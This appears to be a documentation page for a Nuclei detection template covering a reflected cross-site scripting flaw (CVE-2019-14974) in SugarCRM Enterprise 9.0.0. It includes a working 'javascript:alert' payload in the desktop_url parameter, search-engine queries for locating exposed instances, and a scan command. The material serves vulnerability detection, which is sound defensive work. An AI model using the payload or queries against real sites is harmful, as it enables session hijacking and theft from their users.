SugarCRM Enterprise 9.0.0 - Cross-Site Scripting
ID: CVE-2019-14974
Severity: medium
Author: madrobot
Tags: cve,cve2019,xss,sugarcrm,edb
Description
Section titled “Description”SugarCRM Enterprise 9.0.0 contains a cross-site scripting vulnerability via mobile/error-not-supported-platform.html?desktop_url.
YAML Source
Section titled “YAML Source”id: CVE-2019-14974
info: name: SugarCRM Enterprise 9.0.0 - Cross-Site Scripting author: madrobot severity: medium description: SugarCRM Enterprise 9.0.0 contains a cross-site scripting vulnerability via mobile/error-not-supported-platform.html?desktop_url. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. remediation: | Apply the latest security patch or upgrade to a non-vulnerable version of SugarCRM Enterprise. reference: - https://www.exploit-db.com/exploits/47247 - https://nvd.nist.gov/vuln/detail/CVE-2019-14974 - https://github.com/anonymous364872/Rapier_Tool - https://github.com/merlinepedra/nuclei-templates - https://github.com/merlinepedra25/nuclei-templates classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2019-14974 cwe-id: CWE-79 epss-score: 0.00173 epss-percentile: 0.54331 cpe: cpe:2.3:a:sugarcrm:sugarcrm:9.0.0:*:*:*:enterprise:*:*:* metadata: max-request: 1 vendor: sugarcrm product: sugarcrm shodan-query: - http.html:"sugarcrm inc. all rights reserved" - http.title:sugarcrm fofa-query: - body="sugarcrm inc. all rights reserved" - title=sugarcrm google-query: - intitle:sugarcrm - intext:"sugarcrm inc. all rights reserved" tags: cve,cve2019,xss,sugarcrm,edb
http: - method: GET path: - "{{BaseURL}}/mobile/error-not-supported-platform.html?desktop_url=javascript:alert(1337);//itms://"
matchers-condition: and matchers: - type: word part: body words: - "url = window.location.search.split(\"?desktop_url=\")[1]"
- type: status status: - 200# digest: 4a0a004730450221008a327c72e0ad59a54242299bbf1587bbbb62dfbe30da7788fd3a75939ab85d5702203d889dfd1f2497e8481ea1c6e3f66ed42c40de54ad9dad01f1855a32f08beef8:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-14974.yaml"